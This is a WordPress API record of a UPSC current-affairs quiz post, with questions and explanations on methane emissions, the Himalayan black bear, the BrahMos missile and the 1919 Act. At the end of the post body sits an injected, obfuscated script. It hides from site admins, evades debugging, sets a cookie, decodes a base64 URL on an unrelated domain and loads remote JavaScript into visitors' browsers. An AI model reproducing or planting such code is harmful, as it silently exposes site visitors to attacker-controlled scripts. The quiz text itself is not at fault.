million tonnes of methane annually, accounting for nearly 9% of global methane emissions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\">(c) Statement-I is correct but Statement-II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">(d) Statement-I is incorrect but Statement-II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>Answer: (a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>In NEWS: <\/strong>Crop-residue burning turning India into global methane hotspot, UN report warns<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Crop-Residue Burning &amp; Methane:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-116\">\n<li>A 2025 <strong>UNEP report<\/strong> warns that <strong>India has become a global methane hotspot<\/strong>, mainly due to <strong>crop-residue burning<\/strong>.<\/li>\n\n\n\n<li>India is the <strong>world\u2019s third-largest methane emitter<\/strong> after China and the U.S.<\/li>\n\n\n\n<li>India contributes <strong>around 31 million tonnes of methane annually<\/strong>, accounting for <strong>nearly 9% of global methane emissions<\/strong>.<\/li>\n\n\n\n<li>Global methane emissions currently stand at <strong>360 million tonnes per year<\/strong>.<\/li>\n\n\n\n<li>The <strong>G20 countries<\/strong>, including India, are responsible for <strong>65% of global methane emissions<\/strong>.<\/li>\n\n\n\n<li>Major methane sources in India: <strong>livestock (enteric fermentation + manure)<\/strong>, <strong>rice cultivation<\/strong>, and <strong>crop-residue burning<\/strong>.<\/li>\n\n\n\n<li>Methane emissions from <strong>waste burning in India<\/strong> increased from <strong>4.5 MT in 1995<\/strong> to <strong>7.4 MT in 2020<\/strong> (a <strong>64% rise<\/strong>).<\/li>\n\n\n\n<li>Methane from <strong>rice cultivation in India<\/strong> is projected to increase by <strong>8% between 2020 and 2030<\/strong>.<\/li>\n\n\n\n<li>India generated <strong>20 MT of methane from agriculture<\/strong> in 2020 and <strong>4.5 MT from the energy sector<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Hence Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><br><strong>Q. Consider the following:<\/strong> <br><br>1. Carbon Monoxide <br>2. Methane <br>3. Ozone <br>4. Sulphur dioxide <br><br><strong>Which of the above are released into atmosphere due to the burning of crop\/ biomass residue?<\/strong> <br><br>(a) 1 and 2 only <br>(b) 2,3 and 4 only <br>(c) 1 and 4 only <br><strong>(d) 1,2,3 and 4<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-117 wp-block-paragraph\" style=\"color:#021ff6\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/climate-change\/crop-residue-burning-turning-india-into-global-methane-hotspot-un-report-warns\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/climate-change\/crop-residue-burning-turning-india-into-global-methane-hotspot-un-report-warns<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>8. Consider the following statements regarding the Himalayan Black Bear:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">1. It is found only in the higher Himalayan region above 3,500 metres.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">2. It undergoes long, deep hibernation similar to polar bears.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">3. Under the Wildlife Protection Act, 1972, it is classified as \u2018vermin\u2019 under Schedule V.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\">(b) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">(d) None of these statements<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Answer: (d) None of these statements<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>In NEWS: <\/strong>Shoot-at-sight orders for Himalayan black bears in Uttarakhand district as global warming messes up ursids\u2019 hibernation schedules<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-130\">\n<li>In three months, the state recorded 71 bear attacks, killing 6 humans and 60 livestock.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>Himalayan Black Bear:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-132\">\n<li>The Himalayan black bear (<em>Ursus thibetanus laniger<\/em>) is a subspecies of the <strong>Asiatic black bear.<\/strong><\/li>\n\n\n\n<li>It is found in Kashmir, Himachal Pradesh, Uttarakhand, Nepal, and Arunachal Pradesh.<\/li>\n\n\n\n<li>The species also inhabits warmer <strong>foothill forests (not above 3,500 m)<\/strong>, including <strong>Rajaji NP and Corbett TR<\/strong>. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>It is listed as <strong>Vulnerable<\/strong> on the <strong>IUCN <\/strong>Red List.<\/li>\n\n\n\n<li>Under the <strong>Wildlife Protection Act, 1972<\/strong>, it is protected under <strong>Schedule I<\/strong>. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>Climate change induced warm winters have <strong>disrupted bear hibernation cycles<\/strong>.<\/li>\n\n\n\n<li>Himalayan black bears\u2019 hibernation is <strong>shallow and shorter <\/strong>than that of polar bears. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>In warmer regions, Himalayan black bears <strong>do not hibernate<\/strong>.<\/li>\n\n\n\n<li>Human &#8211; bear conflict has increased steadily over the last 25 years in Uttarakhand.<\/li>\n\n\n\n<li>A total of <strong>1,972 people<\/strong> have been attacked by bears in Uttarakhand since 2000.<\/li>\n\n\n\n<li>Similar climate-linked bear conflicts are reported from Japan and Canada.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"463\" height=\"308\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-15.png\" alt=\"\" class=\"wp-image-2756\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-15.png 463w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-15-300x200.png 300w\" sizes=\"auto, (max-width: 463px) 100vw, 463px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"459\" height=\"306\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-16.png\" alt=\"\" class=\"wp-image-2757\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-16.png 459w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-16-300x200.png 300w\" sizes=\"auto, (max-width: 459px) 100vw, 459px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. The Red Panda is naturally found in which of the following regions?<\/strong> <br><br>1. Eastern Himalayas <br>2. Central China <br>3. Southern India <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br>(a) 1 only <br><strong>(b) 1 and 2 only<\/strong> <br>(c) 2 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-133 wp-block-paragraph\" style=\"color:#021ff6\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/climate-change\/shoot-at-sight-orders-for-uttarakhands-himalayan-black-bears-as-global-warming-messes-up-ursids-hibernation-schedules\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/climate-change\/shoot-at-sight-orders-for-uttarakhands-himalayan-black-bears-as-global-warming-messes-up-ursids-hibernation-schedules<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>9. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">1. BrahMos is a supersonic cruise missile jointly developed by India and Russia.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">2. It is considered the world\u2019s fastest operational supersonic cruise missile.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Answer: (c) Both 1 and 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>In NEWS: <\/strong>Indonesian Defence Minister to visit Delhi for talks on BrahMos<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>BrahMos:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-146\">\n<li>BrahMos is a <strong>supersonic cruise missile<\/strong> jointly developed by <strong>India (DRDO)<\/strong> and <strong>Russia (NPOM)<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>It is named after the <strong>Brahmaputra<\/strong> and <strong>Moskva<\/strong> rivers.<\/li>\n\n\n\n<li>It is considered the <strong>world\u2019s fastest operational supersonic cruise missile<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The missile follows a <strong>two-stage configuration<\/strong>: solid-propellant booster (1st stage) and liquid-fuelled ramjet (2nd stage).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Performance &amp; Capabilities<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-148\">\n<li>Has an operational speed of <strong>Mach 2.8\u20133.0<\/strong>, making interception extremely difficult.<\/li>\n\n\n\n<li>The original range was <strong>290 km<\/strong> but newer versions have <strong>450\u2013500 km<\/strong> range; trials for <strong>800+ km<\/strong> are ongoing.<\/li>\n\n\n\n<li>Warhead capacity: <strong>200\u2013300 kg<\/strong>, conventional only.<\/li>\n\n\n\n<li>The guidance system includes <strong>Inertial Navigation System (INS)<\/strong> and <strong>active radar homing<\/strong>.<\/li>\n\n\n\n<li>Features <strong>sea-skimming and terrain-hugging flight<\/strong>, reducing radar detectability.<\/li>\n\n\n\n<li>Achieves <strong>CEP ~ 1 meter<\/strong>, making it highly accurate.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Launch Platforms<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-150\">\n<li>Can be launched from <strong>Land<\/strong>, <strong>Ship<\/strong>, <strong>Air<\/strong>, and <strong>Submarine<\/strong> platforms.<\/li>\n\n\n\n<li>India is among the few nations with a <strong>fighter jet\u2013launched supersonic cruise missile<\/strong> (BrahMos-A on Su-30MKI).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Variants<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-152\">\n<li><strong>Block I<\/strong>: Land attack version.<\/li>\n\n\n\n<li><strong>Block II<\/strong>: High-precision strikes in urban\/complex terrains.<\/li>\n\n\n\n<li><strong>Block III<\/strong>: Steep-dive capability for mountain warfare.<\/li>\n\n\n\n<li><strong>BrahMos-A<\/strong>: Air-launched version with reduced weight.<\/li>\n\n\n\n<li><strong>BrahMos-NG (Next Generation)<\/strong>: Under development; lighter, faster (~Mach 3.5).<\/li>\n\n\n\n<li><strong>BrahMos-II<\/strong>: Hypersonic (Mach 6\u20137), under development.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>Strategic Importance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-154\">\n<li>Enhances India\u2019s <strong>precision-strike<\/strong> and <strong>deterrence capabilities<\/strong>.<\/li>\n\n\n\n<li>Strengthens <strong>A2\/AD (Anti-Access\/Area Denial)<\/strong> capabilities in the Indian Ocean.<\/li>\n\n\n\n<li>Key asset against high-value, time-sensitive targets.<\/li>\n\n\n\n<li>Supports <strong>Make in India<\/strong> through higher indigenous content (70%+ in new variants).<\/li>\n\n\n\n<li>Forms a major part of India\u2019s defence <strong>export push<\/strong>; Philippines is first buyer.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong><br><br>1. Ballistic missiles are jet-propelled at subsonic speeds throughout their flights, while cruise missiles are rocket-powered only in the initial phase of flight.<br>2. Agni-V is a medium-range supersonic cruise missile, while BrahMos is a solid-fuelled intercontinental ballistic missile. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br>(c) Both 1 and 2 <br><strong>(d) Neither 1 nor 2<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-155 wp-block-paragraph\" style=\"color:#021ff6\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/indonesian-ministers-delhi-visit-to-advance-brahmos-defence-partnership\/article70295146.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/indonesian-ministers-delhi-visit-to-advance-brahmos-defence-partnership\/article70295146.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>10. In the Government of India Act 1919, the functions of Provincial Government were divided into &#8220;Reserved&#8221; and &#8220;Transferred&#8221; subjects. Which of the following were treated as &#8220;Reserved&#8221; subjects?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">1. Administration of Justice<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">2. Local Self-Government<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">3. Land Revenue<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">4. Police<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">(a) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">(b) 2,3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">(c) 1,3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\">(d) 1, 2 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>Answer: (c) 1,3 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\">Under the <strong>Government of India Act, 1919 (Montagu\u2013Chelmsford Reforms)<\/strong>, dyarchy was introduced in the provinces.<br><strong>Subjects were divided into:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Reserved Subjects (under Governor and Executive Council)<\/strong><\/td><td><strong>Transferred Subjects (under Ministers responsible to the legislature)<\/strong><\/td><\/tr><tr><td><strong>Administration of Justice<\/strong><br><strong>Police<\/strong> <strong>Land Revenue<\/strong><br>Law and order<br>Irrigation<br>Finance<br>Press<br>Labour<br>Mines<br>Factories<\/td><td><strong>Local Self-Government<\/strong> (LSG)<br>Public health<br>Education<br>Agriculture<br>Public works<br>Cooperative societies<br><br><br><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>Hence Option (c) 1,3 and 4 are correct.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>The 16th Finance Commission recommended which of the following regarding Local Bodies? 1. Grants to Panchayats are tied to [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,68,71,11,42],"tags":[],"class_list":["post-2755","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daily-current-affairs","category-good-morning-test","category-prelims","category-prelims-current-affairs-gmt"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2755","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2755"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2755\/revisions"}],"predecessor-version":[{"id":2937,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2755\/revisions\/2937"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/1359"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2755"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2755"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2755"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}